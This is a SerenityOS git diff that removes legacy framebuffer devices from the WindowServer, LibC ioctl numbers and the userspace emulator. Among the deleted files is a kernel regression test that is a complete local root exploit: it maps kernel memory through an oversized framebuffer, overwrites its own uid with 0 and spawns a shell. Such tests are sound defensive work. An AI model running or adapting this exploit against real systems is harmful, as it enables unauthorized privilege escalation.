index 94241faf25..fe9d0485bf 100644
--- a/Kernel/Graphics/VGA/PCIAdapter.h
+++ b/Kernel/Graphics/VGA/PCIAdapter.h
@@ -9,7 +9,6 @@
#include <AK/Types.h>
#include <Kernel/Bus/PCI/Device.h>
#include <Kernel/Graphics/Console/Console.h>
-#include <Kernel/Graphics/FramebufferDevice.h>
#include <Kernel/Graphics/GenericGraphicsAdapter.h>
#include <Kernel/PhysicalAddress.h>
diff --git a/Tests/Kernel/CMakeLists.txt b/Tests/Kernel/CMakeLists.txt
index 61d51e68a8..03cfb6ea3c 100644
--- a/Tests/Kernel/CMakeLists.txt
+++ b/Tests/Kernel/CMakeLists.txt
@@ -1,6 +1,5 @@
set(TEST_SOURCES
bind-local-socket-to-symlink.cpp
- bxvga-mmap-kernel-into-userspace.cpp
crash-fcntl-invalid-cmd.cpp
elf-execve-mmap-race.cpp
elf-symbolication-kernel-read-exploit.cpp
diff --git a/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp b/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp
deleted file mode 100644
index 545124542a..0000000000
--- a/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright (c) 2018-2020, the SerenityOS developers.
- *
- * SPDX-License-Identifier: BSD-2-Clause
- */
-
-#include <AK/Types.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <unistd.h>
-
-int main()
-{
- int fd = open("/dev/fb0", O_RDWR);
- if (fd < 0) {
- perror("open");
- return 1;
- }
-
- size_t width = 17825;
- size_t height = 1000;
- size_t pitch = width * 4;
- size_t framebuffer_size_in_bytes = pitch * height * 2;
-
- FBHeadProperties original_properties;
- original_properties.head_index = 0;
- if (ioctl(fd, GRAPHICS_IOCTL_GET_HEAD_PROPERTIES, &original_properties) < 0) {
- perror("ioctl");
- return 1;
- }
-
- FBHeadResolution resolution;
- resolution.head_index = 0;
- resolution.width = width;
- resolution.height = height;
- resolution.pitch = pitch;
-
- if (ioctl(fd, GRAPHICS_IOCTL_SET_HEAD_RESOLUTION, &resolution) < 0) {
- perror("ioctl");
- return 1;
- }
-
- auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0);
- if (ptr == MAP_FAILED) {
- perror("mmap");
- return 1;
- }
-
- printf("Success! Evil pointer: %p\n", ptr);
-
- u8* base = &ptr[128 * MiB];
-
- uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4];
- printf("base = %p\n", base);
- printf("g_processes = %p\n", (void*)g_processes);
-
- auto get_ptr = [&](uintptr_t value) -> void* {
- value -= 0xc0000000;
- return (void*)&base[value];
- };
-
- struct ProcessList {
- uintptr_t head;
- uintptr_t tail;
- };
-
- struct Process {
- // 32 next
- // 40 pid
- // 44 uid
- u8 dummy[32];
- uintptr_t next;
- u8 dummy2[4];
- pid_t pid;
- uid_t uid;
- };
-
- ProcessList* process_list = (ProcessList*)get_ptr(g_processes);
-
- Process* process = (Process*)get_ptr(process_list->head);
-
- printf("{%p} PID: %d, UID: %d, next: %p\n", process, process->pid, process->uid, (void*)process->next);
-
- if (process->pid == getpid()) {
- printf("That's me! Let's become r00t!\n");
- process->uid = 0;
- }
-
- FBHeadResolution original_resolution;
- original_resolution.head_index = 0;
- original_resolution.width = original_properties.width;
- original_resolution.height = original_properties.height;
- original_resolution.pitch = original_properties.pitch;
- if (ioctl(fd, GRAPHICS_IOCTL_SET_HEAD_RESOLUTION, &original_resolution) < 0) {
- perror("ioctl");
- return 1;
- }
-
- execl("/bin/sh", "sh", nullptr);
-
- return 0;
-}
diff --git a/Userland/Applications/DisplaySettings/MonitorSettingsWidget.cpp b/Userland/Applications/DisplaySettings/MonitorSettingsWidget.cpp
index eec77d796b..7d384a1b59 100644
--- a/Userland/Applications/DisplaySettings/MonitorSettingsWidget.cpp
+++ b/Userland/Applications/DisplaySettings/MonitorSettingsWidget.cpp
@@ -148,8 +148,7 @@ void MonitorSettingsWidget::load_current_settings()
size_t virtual_screen_count = 0;
for (size_t i = 0; i < m_screen_layout.screens.size(); i++) {
String screen_display_name;
- if (m_screen_layout.screens[i].mode == WindowServer::ScreenLayout::Screen::Mode::Device
- || m_screen_layout.screens[i].mode == WindowServer::ScreenLayout::Screen::Mode::DisplayConnectorDevice) {
+ if (m_screen_layout.screens[i].mode == WindowServer::ScreenLayout::Screen::Mode::Device) {
if (auto edid = EDID::Parser::from_framebuffer_device(m_screen_layout.screens[i].device.value(), 0); !edid.is_error()) { // TODO: multihead
screen_display_name = display_name_from_edid(edid.value());
m_screen_edids.append(edid.release_value());
diff --git a/Userland/DevTools/UserspaceEmulator/Emulator_syscalls.cpp b/Userland/DevTools/UserspaceEmulator/Emulator_syscalls.cpp
index a663453c0c..8d42441ef5 100644
--- a/Userland/DevTools/UserspaceEmulator/Emulator_syscalls.cpp
+++ b/Userland/DevTools/UserspaceEmulator/Emulator_syscalls.cpp
@@ -1165,13 +1165,6 @@ int Emulator::virt$ioctl([[maybe_unused]] int fd, unsigned request, [[maybe_unus
mmu().copy_to_vm(arg, &size, sizeof(size));
return rc;
}
- case GRAPHICS_IOCTL_SET_HEAD_RESOLUTION: {
- FBHeadResolution user_resolution;
- mmu().copy_from_vm(&user_resolution, arg, sizeof(user_resolution));
- auto rc = syscall(SC_ioctl, fd, request, &user_resolution);
- mmu().copy_to_vm(arg, &user_resolution, sizeof(user_resolution));
- return rc;
- }
case GRAPHICS_IOCTL_SET_HEAD_VERTICAL_OFFSET_BUFFER:
return syscall(SC_ioctl, fd, request, arg);
case FIONBIO: {
diff --git a/Userland/Libraries/LibC/sys/ioctl_numbers.h b/Userland/Libraries/LibC/sys/ioctl_numbers.h
index 294576590e..68a492c583 100644
--- a/Userland/Libraries/LibC/sys/ioctl_numbers.h
+++ b/Userland/Libraries/LibC/sys/ioctl_numbers.h
@@ -26,18 +26,6 @@ struct GraphicsConnectorProperties {
unsigned char refresh_rate_support;
};
-// FIXME: Remove this once framebuffer devices are removed.
-struct FBHeadProperties {
- int head_index;
-
- unsigned pitch;
- unsigned width;
- unsigned height;
-
- unsigned offset;
- unsigned buffer_length;
-};
-
struct GraphicsHeadModeSetting {
int horizontal_stride;
int pixel_clock_in_khz;
@@ -53,14 +41,6 @@ struct GraphicsHeadModeSetting {
int vertical_offset;
};
-// FIXME: Remove this once framebuffer devices are removed.
-struct FBHeadResolution {
- int head_index;
- int pitch;
- int width;
- int height;
-};
-
struct GraphicsHeadEDID {
int head_index;
@@ -114,8 +94,6 @@ enum IOCtlNumber {
TIOCSWINSZ,
TIOCGPTN,
GRAPHICS_IOCTL_GET_PROPERTIES,
- GRAPHICS_IOCTL_GET_HEAD_PROPERTIES,
- GRAPHICS_IOCTL_SET_HEAD_RESOLUTION,
GRAPHICS_IOCTL_GET_HEAD_EDID,
GRAPHICS_IOCTL_SET_HEAD_VERTICAL_OFFSET_BUFFER,
GRAPHICS_IOCTL_GET_HEAD_VERTICAL_OFFSET_BUFFER,
@@ -176,9 +154,7 @@ enum IOCtlNumber {
#define TIOCSWINSZ TIOCSWINSZ
#define TIOCGPTN TIOCGPTN
#define GRAPHICS_IOCTL_GET_PROPERTIES GRAPHICS_IOCTL_GET_PROPERTIES
-#define GRAPHICS_IOCTL_GET_HEAD_PROPERTIES GRAPHICS_IOCTL_GET_HEAD_PROPERTIES
#define GRAPHICS_IOCTL_GET_HEAD_EDID GRAPHICS_IOCTL_GET_HEAD_EDID
-#define GRAPHICS_IOCTL_SET_HEAD_RESOLUTION GRAPHICS_IOCTL_SET_HEAD_RESOLUTION
#define GRAPHICS_IOCTL_SET_HEAD_VERTICAL_OFFSET_BUFFER GRAPHICS_IOCTL_SET_HEAD_VERTICAL_OFFSET_BUFFER
#define GRAPHICS_IOCTL_GET_HEAD_VERTICAL_OFFSET_BUFFER GRAPHICS_IOCTL_GET_HEAD_VERTICAL_OFFSET_BUFFER
#define GRAPHICS_IOCTL_FLUSH_HEAD_BUFFERS GRAPHICS_IOCTL_FLUSH_HEAD_BUFFERS
diff --git a/Userland/Services/WindowServer/HardwareScreenBackend.cpp b/Userland/Services/WindowServer/HardwareScreenBackend.cpp
index cceae2d84e..312d0e621c 100644
--- a/Userland/Services/WindowServer/HardwareScreenBackend.cpp
+++ b/Userland/Services/WindowServer/HardwareScreenBackend.cpp
@@ -17,9 +17,8 @@
namespace WindowServer {
-HardwareScreenBackend::HardwareScreenBackend(String device, bool display_connector_device_backed)
+HardwareScreenBackend::HardwareScreenBackend(String device)
: m_device(move(device))
- , display_connector_device_backed(display_connector_device_backed)
{
}
@@ -44,38 +43,26 @@ HardwareScreenBackend::~HardwareScreenBackend()
m_framebuffer_fd = -1;
}
if (m_framebuffer) {
- if (!display_connector_device_backed)
- MUST(Core::System::munmap(m_framebuffer, m_size_in_bytes));
- else
- free(m_framebuffer);
+ free(m_framebuffer);
m_framebuffer = nullptr;
m_size_in_bytes = 0;
}
}
-ErrorOr<void> HardwareScreenBackend::set_head_resolution(FBHeadResolution resolution)
+ErrorOr<void> HardwareScreenBackend::set_head_mode_setting(GraphicsHeadModeSetting mode_setting)
{
- if (!display_connector_device_backed) {
- auto rc = fb_set_resolution(m_framebuffer_fd, &resolution);
- if (rc != 0)
- return Error::from_syscall("fb_set_resolution", rc);
- } else {
- GraphicsHeadModeSetting mode_setting;
- memset(&mode_setting, 0, sizeof(GraphicsHeadModeSetting));
- mode_setting.horizontal_active = resolution.width;
- mode_setting.vertical_active = resolution.height;
- mode_setting.horizontal_stride = resolution.pitch;
- auto rc = graphics_connector_set_head_mode_setting(m_framebuffer_fd, &mode_setting);
+
+ GraphicsHeadModeSetting requested_mode_setting = mode_setting;
+ auto rc = graphics_connector_set_head_mode_setting(m_framebuffer_fd, &requested_mode_setting);
+ if (rc != 0) {
+ dbgln("Failed to set backend mode setting: falling back to safe resolution");
+ rc = graphics_connector_set_safe_head_mode_setting(m_framebuffer_fd);
if (rc != 0) {
- dbgln("Failed to set backend mode setting: falling back to safe resolution");
- rc = graphics_connector_set_safe_head_mode_setting(m_framebuffer_fd);
- if (rc != 0) {
- dbgln("Failed to set backend safe mode setting: aborting");
- return Error::from_syscall("graphics_connector_set_safe_head_mode_setting", rc);
- }
- dbgln("Failed to set backend mode setting: falling back to safe resolution - success.");
+ dbgln("Failed to set backend safe mode setting: aborting");
+ return Error::from_syscall("graphics_connector_set_safe_head_mode_setting", rc);
}
+ dbgln("Failed to set backend mode setting: falling back to safe resolution - success.");
}
return {};
@@ -84,20 +71,13 @@ ErrorOr<void> HardwareScreenBackend::set_head_resolution(FBHeadResolution resolu
ErrorOr<void> HardwareScreenBackend::unmap_framebuffer()
{
if (m_framebuffer) {
- if (!display_connector_device_backed) {
- size_t previous_size_in_bytes = m_size_in_bytes;
- return Core::System::munmap(m_framebuffer, previous_size_in_bytes);
- } else {
- free(m_framebuffer);
- }
+ free(m_framebuffer);
}
return {};
}
ErrorOr<void> HardwareScreenBackend::write_all_contents(Gfx::IntRect const& virtual_rect)
{
- if (!display_connector_device_backed)
- return {};
lseek(m_framebuffer_fd, 0, SEEK_SET);
write(m_framebuffer_fd, scanline(0, 0), virtual_rect.height() * m_pitch);
if (m_can_set_head_buffer) {
@@ -113,80 +93,38 @@ ErrorOr<void> HardwareScreenBackend::write_all_contents(Gfx::IntRect const& virt
ErrorOr<void> HardwareScreenBackend::map_framebuffer()
{
- if (!display_connector_device_backed) {
- FBHeadProperties properties;
- properties.head_index = 0;
- int rc = fb_get_head_properties(m_framebuffer_fd, &properties);
- if (rc != 0)
- return Error::from_syscall("fb_get_head_properties", rc);
- m_size_in_bytes = properties.buffer_length;
-
- m_framebuffer = (Gfx::ARGB32*)TRY(Core::System::mmap(nullptr, m_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED, m_framebuffer_fd, 0));
-
- if (m_can_set_head_buffer) {
- // Note: fall back to assuming the second buffer starts right after the last line of the first
- // Note: for now, this calculation works quite well, so need to defer it to another function
- // that does ioctl to figure out the correct offset. If a Framebuffer device ever happens to
- // to set the second buffer at different location than this, we might need to consider bringing
- // back a function with ioctl to check this.
- m_back_buffer_offset = static_cast<size_t>(properties.pitch) * properties.height;
- } else {
- m_back_buffer_offset = 0;
- }
+ GraphicsHeadModeSetting mode_setting {};
+ memset(&mode_setting, 0, sizeof(GraphicsHeadModeSetting));
+ int rc = graphics_connector_get_head_mode_setting(m_framebuffer_fd, &mode_setting);
+ if (rc != 0) {
+ return Error::from_syscall("graphics_connector_get_head_mode_setting", rc);
+ }
+ m_size_in_bytes = mode_setting.horizontal_stride * mode_setting.vertical_active * 2;
+ m_framebuffer = (Gfx::ARGB32*)malloc(m_size_in_bytes);
+ if (m_can_set_head_buffer) {
+ // Note: fall back to assuming the second buffer starts right after the last line of the first
+ // Note: for now, this calculation works quite well, so need to defer it to another function
+ // that does ioctl to figure out the correct offset. If a Framebuffer device ever happens to
+ // to set the second buffer at different location than this, we might need to consider bringing
+ // back a function with ioctl to check this.
+ m_back_buffer_offset = static_cast<size_t>(mode_setting.horizontal_stride) * mode_setting.vertical_active;
} else {
- GraphicsHeadModeSetting mode_setting {};
- memset(&mode_setting, 0, sizeof(GraphicsHeadModeSetting));
- int rc = graphics_connector_get_head_mode_setting(m_framebuffer_fd, &mode_setting);
- if (rc != 0) {
- return Error::from_syscall("graphics_connector_get_head_mode_setting", rc);
- }
- m_size_in_bytes = mode_setting.horizontal_stride * mode_setting.vertical_active * 2;
- m_framebuffer = (Gfx::ARGB32*)malloc(m_size_in_bytes);
- if (m_can_set_head_buffer) {
- // Note: fall back to assuming the second buffer starts right after the last line of the first
- // Note: for now, this calculation works quite well, so need to defer it to another function
- // that does ioctl to figure out the correct offset. If a Framebuffer device ever happens to
- // to set the second buffer at different location than this, we might need to consider bringing
- // back a function with ioctl to check this.
- m_back_buffer_offset = static_cast<size_t>(mode_setting.horizontal_stride) * mode_setting.vertical_active;
- } else {
- m_back_buffer_offset = 0;
- }
+ m_back_buffer_offset = 0;
}
return {};
}
-ErrorOr<FBHeadProperties> HardwareScreenBackend::get_head_properties()
+ErrorOr<GraphicsHeadModeSetting> HardwareScreenBackend::get_head_mode_setting()
{
- if (!display_connector_device_backed) {
- FBHeadProperties properties;
- properties.head_index = 0;
- int rc = fb_get_head_properties(m_framebuffer_fd, &properties);
- if (rc != 0)
- return Error::from_syscall("fb_get_head_properties", rc);
- m_pitch = static_cast<int>(properties.pitch);
- return properties;
- } else {
- GraphicsHeadModeSetting mode_setting {};
- memset(&mode_setting, 0, sizeof(GraphicsHeadModeSetting));
- int rc = graphics_connector_get_head_mode_setting(m_framebuffer_fd, &mode_setting);
- if (rc != 0) {
- return Error::from_syscall("graphics_connector_get_head_mode_setting", rc);
- }
- m_pitch = mode_setting.horizontal_stride;
- // Note: We translate (for now, until Framebuffer devices are removed) the GraphicsHeadModeSetting
- // structure to FBHeadProperties.
- FBHeadProperties properties;
- properties.head_index = 0;
- properties.pitch = mode_setting.horizontal_stride;
- properties.width = mode_setting.horizontal_active;
- properties.height = mode_setting.vertical_active;
- properties.offset = 0;
- properties.buffer_length = mode_setting.horizontal_stride * mode_setting.vertical_active * 2;
- return properties;
+ GraphicsHeadModeSetting mode_setting {};
+ memset(&mode_setting, 0, sizeof(GraphicsHeadModeSetting));
+ int rc = graphics_connector_get_head_mode_setting(m_framebuffer_fd, &mode_setting);
+ if (rc != 0) {
+ return Error::from_syscall("graphics_connector_get_head_mode_setting", rc);
}
- VERIFY_NOT_REACHED();
+ m_pitch = mode_setting.horizontal_stride;
+ return mode_setting;
}
void HardwareScreenBackend::set_head_buffer(int head_index)
diff --git a/Userland/Services/WindowServer/HardwareScreenBackend.h b/Userland/Services/WindowServer/HardwareScreenBackend.h
index 16e3deeaa9..5b3ca73d75 100644
--- a/Userland/Services/WindowServer/HardwareScreenBackend.h
+++ b/Userland/Services/WindowServer/HardwareScreenBackend.h
@@ -18,7 +18,7 @@ class HardwareScreenBackend : public ScreenBackend {
public:
virtual ~HardwareScreenBackend();
- HardwareScreenBackend(String device, bool display_connector_device_backed);
+ explicit HardwareScreenBackend(String device);
virtual ErrorOr<void> open() override;
@@ -31,14 +31,13 @@ public:
virtual ErrorOr<void> unmap_framebuffer() override;
virtual ErrorOr<void> map_framebuffer() override;
- virtual ErrorOr<void> set_head_resolution(FBHeadResolution) override;
- virtual ErrorOr<FBHeadProperties> get_head_properties() override;
+ virtual ErrorOr<void> set_head_mode_setting(GraphicsHeadModeSetting) override;
+ virtual ErrorOr<GraphicsHeadModeSetting> get_head_mode_setting() override;
virtual ErrorOr<void> write_all_contents(Gfx::IntRect const&) override;
String m_device {};
int m_framebuffer_fd { -1 };
- bool const display_connector_device_backed { false };
Gfx::ARGB32* scanline(int buffer_index, int y) const
{
diff --git a/Userland/Services/WindowServer/Screen.cpp b/Userland/Services/WindowServer/Screen.cpp
index de3a1e75e3..272f14bef6 100644
--- a/Userland/Services/WindowServer/Screen.cpp
+++ b/Userland/Services/WindowServer/Screen.cpp
@@ -231,7 +231,7 @@ bool Screen::open_device()
switch (info.mode) {
case ScreenLayout::Screen::Mode::Device: {
- m_backend = make<HardwareScreenBackend>(info.device.value(), false);
+ m_backend = make<HardwareScreenBackend>(info.device.value());
auto return_value = m_backend->open();
if (return_value.is_error()) {
dbgln("Screen #{}: Failed to open backend: {}", index(), return_value.error());
@@ -241,17 +241,6 @@ bool Screen::open_device()
set_resolution(true);
return true;
}
- case ScreenLayout::Screen::Mode::DisplayConnectorDevice: {
- m_backend = make<HardwareScreenBackend>(info.device.value(), true);
- auto return_value = m_backend->open();
- if (return_value.is_error()) {
- dbgln("Screen #{}: Failed to open display connector backend: {}", index(), return_value.error());
- return false;
- }
-
- set_resolution(true);
- return true;
- }
case ScreenLayout::Screen::Mode::Virtual: {
m_backend = make<VirtualScreenBackend>();
// Virtual device open should never fail.
@@ -335,9 +324,21 @@ bool Screen::set_resolution(bool initial)
ErrorOr<void> return_value = Error::from_errno(EINVAL);
{
- // FIXME: Add multihead support for one framebuffer
- FBHeadResolution physical_resolution { 0, 0, info.resolution.width(), info.resolution.height() };
- return_value = m_backend->set_head_resolution(physical_resolution);
+ GraphicsHeadModeSetting requested_mode_setting;
+ memset(&requested_mode_setting, 0, sizeof(GraphicsHeadModeSetting));
+ requested_mode_setting.horizontal_stride = info.resolution.width() * 4;
+ requested_mode_setting.pixel_clock_in_khz = 0;
+ requested_mode_setting.horizontal_active = info.resolution.width();
+ requested_mode_setting.horizontal_front_porch_pixels = 0;
+ requested_mode_setting.horizontal_sync_time_pixels = 0;
+ requested_mode_setting.horizontal_blank_pixels = 0;
+ requested_mode_setting.vertical_active = info.resolution.height();
+ requested_mode_setting.vertical_front_porch_lines = 0;
+ requested_mode_setting.vertical_sync_time_lines = 0;
+ requested_mode_setting.vertical_blank_lines = 0;
+ requested_mode_setting.horizontal_offset = 0;
+ requested_mode_setting.vertical_offset = 0;
+ return_value = m_backend->set_head_mode_setting(requested_mode_setting);
}
dbgln_if(WSSCREEN_DEBUG, "Screen #{}: fb_set_resolution() - success", index());
@@ -347,8 +348,8 @@ bool Screen::set_resolution(bool initial)
TRY(m_backend->unmap_framebuffer());
TRY(m_backend->map_framebuffer());
}
- auto properties = TRY(m_backend->get_head_properties());
- info.resolution = { properties.width, properties.height };
+ auto mode_setting = TRY(m_backend->get_head_mode_setting());
+ info.resolution = { mode_setting.horizontal_active, mode_setting.vertical_active };
update_virtual_rect();
diff --git a/Userland/Services/WindowServer/ScreenBackend.h b/Userland/Services/WindowServer/ScreenBackend.h
index efc158e484..4e76095066 100644
--- a/Userland/Services/WindowServer/ScreenBackend.h
+++ b/Userland/Services/WindowServer/ScreenBackend.h
@@ -33,8 +33,8 @@ public:
virtual ErrorOr<void> flush_framebuffer() = 0;
- virtual ErrorOr<void> set_head_resolution(FBHeadResolution) = 0;
- virtual ErrorOr<FBHeadProperties> get_head_properties() = 0;
+ virtual ErrorOr<void> set_head_mode_setting(GraphicsHeadModeSetting) = 0;
+ virtual ErrorOr<GraphicsHeadModeSetting> get_head_mode_setting() = 0;
virtual ErrorOr<void> write_all_contents(Gfx::IntRect const&) { return {}; }
diff --git a/Userland/Services/WindowServer/ScreenLayout.h b/Userland/Services/WindowServer/ScreenLayout.h
index 039a7d48c2..3fd66a5a0f 100644
--- a/Userland/Services/WindowServer/ScreenLayout.h
+++ b/Userland/Services/WindowServer/ScreenLayout.h
@@ -21,7 +21,6 @@ public:
enum class Mode {
Invalid,
Device,
- DisplayConnectorDevice,
Virtual,
} mode;
Optional<String> device;
@@ -43,7 +42,6 @@ public:
switch (mode) {
__ENUMERATE_MODE_ENUM(Invalid)
__ENUMERATE_MODE_ENUM(Device)
- __ENUMERATE_MODE_ENUM(DisplayConnectorDevice)
__ENUMERATE_MODE_ENUM(Virtual)
}
VERIFY_NOT_REACHED();
@@ -61,8 +59,6 @@ public:
bool normalize();
bool load_config(Core::ConfigFile const& config_file, String* error_msg = nullptr);
bool save_config(Core::ConfigFile& config_file, bool sync = true) const;
- // FIXME: Remove this once framebuffer devices are removed.
- bool try_auto_add_framebuffer(String const&);
bool try_auto_add_display_connector(String const&);
// TODO: spaceship operator
diff --git a/Userland/Services/WindowServer/ScreenLayout.ipp b/Userland/Services/WindowServer/ScreenLayout.ipp
index 2baa465b58..d7359eca8a 100644
--- a/Userland/Services/WindowServer/ScreenLayout.ipp
+++ b/Userland/Services/WindowServer/ScreenLayout.ipp
@@ -239,8 +239,6 @@ bool ScreenLayout::load_config(const Core::ConfigFile& config_file, String* erro
Screen::Mode mode { Screen::Mode::Invalid };
if (str_mode == "Device") {
mode = Screen::Mode::Device;
- } else if (str_mode == "DisplayConnectorDevice") {
- mode = Screen::Mode::DisplayConnectorDevice;
} else if (str_mode == "Virtual") {
mode = Screen::Mode::Virtual;
}
@@ -250,7 +248,7 @@ bool ScreenLayout::load_config(const Core::ConfigFile& config_file, String* erro
*this = {};
return false;
}
- auto device = (mode == Screen::Mode::Device || mode == Screen::Mode::DisplayConnectorDevice) ? config_file.read_entry(group_name, "Device") : Optional<String> {};
+ auto device = (mode == Screen::Mode::Device) ? config_file.read_entry(group_name, "Device") : Optional<String> {};
screens.append({ mode, device,
{ config_file.read_num_entry(group_name, "Left"), config_file.read_num_entry(group_name, "Top") },
{ config_file.read_num_entry(group_name, "Width"), config_file.read_num_entry(group_name, "Height") },
@@ -339,7 +337,7 @@ bool ScreenLayout::try_auto_add_display_connector(String const& device_path)
}
auto append_screen = [&](Gfx::IntRect const& new_screen_rect) {
- screens.append({ .mode = Screen::Mode::DisplayConnectorDevice,
+ screens.append({ .mode = Screen::Mode::Device,
.device = device_path,
.location = new_screen_rect.location(),
.resolution = new_screen_rect.size(),
@@ -392,90 +390,6 @@ bool ScreenLayout::try_auto_add_display_connector(String const& device_path)
return false;
}
-// FIXME: Remove this once framebuffer devices are removed.
-bool ScreenLayout::try_auto_add_framebuffer(String const& device_path)
-{
- int framebuffer_fd = open(device_path.characters(), O_RDWR | O_CLOEXEC);
- if (framebuffer_fd < 0) {
- int err = errno;
- dbgln("Error ({}) opening framebuffer device {}", err, device_path);
- return false;
- }
- ScopeGuard fd_guard([&] {
- close(framebuffer_fd);
- });
- // FIXME: Add multihead support for one framebuffer
- FBHeadResolution resolution {};
- memset(&resolution, 0, sizeof(FBHeadResolution));
- if (fb_get_resolution(framebuffer_fd, &resolution) < 0) {
- int err = errno;
- dbgln("Error ({}) querying resolution from framebuffer device {}", err, device_path);
- return false;
- }
- if (resolution.width == 0 || resolution.height == 0) {
- // Looks like the display is not turned on. Since we don't know what the desired
- // resolution should be, use the main display as reference.
- if (screens.is_empty())
- return false;
- auto& main_screen = screens[main_screen_index];
- resolution.width = main_screen.resolution.width();
- resolution.height = main_screen.resolution.height();
- }
-
- auto append_screen = [&](Gfx::IntRect const& new_screen_rect) {
- screens.append({ .mode = Screen::Mode::Device,
- .device = device_path,
- .location = new_screen_rect.location(),
- .resolution = new_screen_rect.size(),
- .scale_factor = 1 });
- };
-
- if (screens.is_empty()) {
- append_screen({ 0, 0, (int)resolution.width, (int)resolution.height });
- return true;
- }
-
- auto original_screens = move(screens);
- screens = original_screens;
- ArmedScopeGuard screens_guard([&] {
- screens = move(original_screens);
- });
-
- // Now that we know the current resolution, try to find a location that we can add onto
- // TODO: make this a little more sophisticated in case a more complex layout is already configured
- for (auto& screen : screens) {
- auto screen_rect = screen.virtual_rect();
- Gfx::IntRect new_screen_rect {
- screen_rect.right() + 1,
- screen_rect.top(),
- (int)resolution.width,
- (int)resolution.height
- };
-
- bool collision = false;
- for (auto& other_screen : screens) {
- if (&screen == &other_screen)
- continue;
- if (other_screen.virtual_rect().intersects(new_screen_rect)) {
- collision = true;
- break;
- }
- }
-
- if (!collision) {
- append_screen(new_screen_rect);
- if (is_valid()) {
- // We got lucky!
- screens_guard.disarm();
- return true;
- }
- }
- }
-
- dbgln("Failed to add framebuffer device {} with resolution {}x{} to screen layout", device_path, resolution.width, resolution.height);
- return false;
-}
-
}
namespace IPC {
diff --git a/Userland/Services/WindowServer/VirtualScreenBackend.cpp b/Userland/Services/WindowServer/VirtualScreenBackend.cpp
index f6d2b3dfc1..11a7bc0f2e 100644
--- a/Userland/Services/WindowServer/VirtualScreenBackend.cpp
+++ b/Userland/Services/WindowServer/VirtualScreenBackend.cpp
@@ -31,31 +31,35 @@ void VirtualScreenBackend::set_head_buffer(int index)
m_first_buffer_active = index == 0;
}
-ErrorOr<void> VirtualScreenBackend::set_head_resolution(FBHeadResolution resolution)
+ErrorOr<void> VirtualScreenBackend::set_head_mode_setting(GraphicsHeadModeSetting mode_setting)
{
- if (resolution.head_index != 0)
- return Error::from_string_literal("Only head index 0 is supported."sv);
- m_height = resolution.height;
+ m_height = mode_setting.vertical_active;
- if (resolution.pitch == 0)
- resolution.pitch = static_cast<int>(resolution.width * sizeof(Gfx::ARGB32));
- m_pitch = resolution.pitch;
- if (static_cast<int>(resolution.width * sizeof(Gfx::ARGB32)) != resolution.pitch)
+ if (mode_setting.horizontal_stride == 0)
+ mode_setting.horizontal_stride = static_cast<int>(mode_setting.horizontal_active * sizeof(Gfx::ARGB32));
+ m_pitch = mode_setting.horizontal_stride;
+ if (static_cast<int>(mode_setting.horizontal_active * sizeof(Gfx::ARGB32)) != mode_setting.horizontal_stride)
return Error::from_string_literal("Unsupported pitch"sv);
- m_width = resolution.width;
+ m_width = mode_setting.horizontal_active;
return {};
}
-ErrorOr<FBHeadProperties> VirtualScreenBackend::get_head_properties()
+ErrorOr<GraphicsHeadModeSetting> VirtualScreenBackend::get_head_mode_setting()
{
- return FBHeadProperties {
- .head_index = 0,
- .pitch = static_cast<unsigned>(m_pitch),
- .width = static_cast<unsigned>(m_width),
- .height = static_cast<unsigned>(m_height),
- .offset = static_cast<unsigned>(m_first_buffer_active ? 0 : m_back_buffer_offset),
- .buffer_length = static_cast<unsigned>(m_size_in_bytes),
+ return GraphicsHeadModeSetting {
+ .horizontal_stride = m_pitch,
+ .pixel_clock_in_khz = 0,
+ .horizontal_active = m_width,
+ .horizontal_front_porch_pixels = 0,
+ .horizontal_sync_time_pixels = 0,
+ .horizontal_blank_pixels = 0,
+ .vertical_active = m_height,
+ .vertical_front_porch_lines = 0,
+ .vertical_sync_time_lines = 0,
+ .vertical_blank_lines = 0,
+ .horizontal_offset = 0,
+ .vertical_offset = 0,
};
}
diff --git a/Userland/Services/WindowServer/VirtualScreenBackend.h b/Userland/Services/WindowServer/VirtualScreenBackend.h
index 647acdd327..808d43259f 100644
--- a/Userland/Services/WindowServer/VirtualScreenBackend.h
+++ b/Userland/Services/WindowServer/VirtualScreenBackend.h
@@ -35,8 +35,8 @@ private:
virtual ErrorOr<void> unmap_framebuffer() override;
virtual ErrorOr<void> map_framebuffer() override;
- virtual ErrorOr<void> set_head_resolution(FBHeadResolution) override;
- virtual ErrorOr<FBHeadProperties> get_head_properties() override;
+ virtual ErrorOr<void> set_head_mode_setting(GraphicsHeadModeSetting) override;
+ virtual ErrorOr<GraphicsHeadModeSetting> get_head_mode_setting() override;
int m_height { 0 };
int m_width { 0 };
diff --git a/Userland/Services/WindowServer/main.cpp b/Userland/Services/WindowServer/main.cpp
index eb050c70a7..934428460d 100644
--- a/Userland/Services/WindowServer/main.cpp
+++ b/Userland/Services/WindowServer/main.cpp
@@ -68,25 +68,6 @@ ErrorOr<int> serenity_main(Main::Arguments)
WindowServer::ScreenLayout screen_layout;
String error_msg;
- // FIXME: Remove this once framebuffer devices are removed.
- auto add_unconfigured_framebuffer_devices = [&]() {
- // Enumerate the /dev/fbX devices and try to set up any ones we find that we haven't already used
- Core::DirIterator di("/dev", Core::DirIterator::SkipParentAndBaseDir);
- while (di.has_next()) {
- auto path = di.next_path();
- if (!path.starts_with("fb"))
- continue;
- auto full_path = String::formatted("/dev/{}", path);
- dbgln("{} :", full_path);
- if (!Core::File::is_device(full_path))
- continue;
- if (fb_devices_configured.find(full_path) != fb_devices_configured.end())
- continue;
- if (!screen_layout.try_auto_add_framebuffer(full_path))
- dbgln("Could not auto-add framebuffer device {} to screen layout", full_path);
- }
- };
-
auto add_unconfigured_display_connector_devices = [&]() {
// Enumerate the /dev/fbX devices and try to set up any ones we find that we haven't already used
Core::DirIterator di("/dev/gpu", Core::DirIterator::SkipParentAndBaseDir);
@@ -108,9 +89,6 @@ ErrorOr<int> serenity_main(Main::Arguments)
screen_layout = {};
fb_devices_configured = {};
- // FIXME: Remove this once framebuffer devices are removed.
- add_unconfigured_framebuffer_devices();
-
